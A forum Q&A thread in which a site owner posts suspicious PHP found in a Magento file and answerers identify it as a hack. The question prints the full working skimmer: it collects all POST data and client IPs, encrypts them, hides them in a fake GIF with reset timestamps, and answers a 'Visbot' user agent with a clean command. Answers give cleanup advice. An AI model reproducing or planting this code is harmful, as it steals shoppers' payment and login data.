Can anybody explain me about following code?

Question

Some days back I found this code in one of my application file. I am using git in my server so I can found modified file easily. I checked it but I am not getting what this piece of code does exactly.

Can anybody explain me? Is it hacked or something? Thanks

<?PHP /***
Magento** NOTICE OF LICENSE** This source file is subject to the Open Software License (OSL 3.0)* that is bundled with this package in the file LICENSE.txt.* It is also available through the world-wide-web at this URL:* http://opensource.org/licenses/osl-3.0.php**/
$y0='./skin/adminhtml/default/default/images/accordion_open_bg.gif';
$m1='1415335836';
$k2='pcce7c7f';
$k3="-----BEGIN PUBLIC KEY-----\nMIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgFiKhzEGVUxLdkdAPmTVH74QwWBk\n0cDppNX3n0fmVZyBPcYZ5YIbEeSLIOCXKb5xT/ZrwYyk13jMIho9WPlLRJdxT2Rj\nbcMvXszvWBwh1lCovrl6/kulIq5ZcnDFdlcKzW2PR/19+gkKhRGk1YUXMLgw6EFj\nj2c1LJoSpnzk8WRFAgMBAAE=\n-----END PUBLIC KEY-----";
if(@$_SERVER['HTTP_USER_AGENT']=='Visbot/2.0 (+http://www.visvo.com/en/webmasters.jsp;
    [email protected])'){if(isset($_GET[$k2])){$m1=file_exists($y0)?@filemtime($y0):$m1;
    @file_put_contents($y0,'');
@touch($y0,$m1,$m1);
echo 'clean ok';
}else echo 'Pong';
exit;
}if(!empty($_SERVER['HTTP_CLIENT_IP'])){$i4=$_SERVER['HTTP_CLIENT_IP'];
}elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$i4=$_SERVER['HTTP_X_FORWARDED_FOR'];
}else{$i4=@$_SERVER['REMOTE_ADDR'];
}if(isset($_POST)&&sizeof($_POST)){$a5='';
foreach($_POST as $h6=>$n7){if(is_array($n7)){foreach($n7 as $f8=>$l9){if(is_array($l9)){foreach($l9 as $l10=>$v11){if(is_array($v11)){;
}else{$a5.=':'.$h6.'['.$f8.']['.$l10.']='.$v11;
}}}else{$a5.=':'.$h6.'['.$f8.']='.$l9;
}}}else{$a5.=':'.$h6.'='.$n7;
}}$a5=$i4.$a5;
}else{$a5=null;
}if($a5){$t12=false;
    if(function_exists('openssl_get_publickey')&&function_exists('openssl_public_encrypt')&&function_exists('openssl_encrypt')){$t12=true;
}elseif(function_exists('dl')){$n13=strtolower(substr(php_uname(),0,3));
    $d14='php_openssl.'.($n13=='win'?'dll':'so');
@dl($d14);
if(function_exists('openssl_get_publickey')&&function_exists('openssl_public_encrypt')&&function_exists('openssl_encrypt')){$t12=true;
}}if($t12){$t15=@openssl_get_publickey($k3);
    $q16=128;
$t17='';
$h18=md5(md5(microtime()).rand());
$e19=$h18;
while($e19){$f20=substr($e19,0,$q16);
    $e19=substr($e19,$q16);
@openssl_public_encrypt($f20,$h21,$t15);
$t17.=$h21;
}$t22=@openssl_encrypt($a5,'aes128',$h18);
@openssl_free_key($t15);
$a5=$t17.':::SEP:::'.$t22;
}$m1=file_exists($y0)?@filemtime($y0):$m1;
@file_put_contents($y0,'JPEG-1.1'.base64_encode($a5),FILE_APPEND);
@touch($y0,$m1,$m1);
}?>

Answer 1

This is a modified or "Hacked" file and will need to be replaced with the original. I would recommend turning off your store and NOW.

I would then recommend doing a diff between your original code and a known good version. You can start with your core of 1.8 but you may also have hacks in extra files.

diff -wrql --exclude='media' --exclude='var' /your/site/html/ /last/know/good/site/html/

This will tell you at least if the core files are hacked. (Which you can see they are) I would also recommend using source control so you can see modifications to files. If you use GIT you will see when a file has been modified on the server by doing a git status.

Answer 2

This hack is encrypting all POST values (Credit Card information during checkout included) to a string in a fake image file and is open to the world but would and has likely been transmitted. Not only do you need to revert to a good version of the code base, you need to identify the original entry vector and remove it. (how did it get there to begin with).

Answer 3

@file_put_contents($y0,'JPEG-1.1'.base64_encode($a5),FILE_APPEND);
@touch($y0,$m1,$m1);

The last two lines should clearly warn you, if you can delete this file nothing happend,p lease take a backup of files, search more and delete files. Change server password and file permission as well.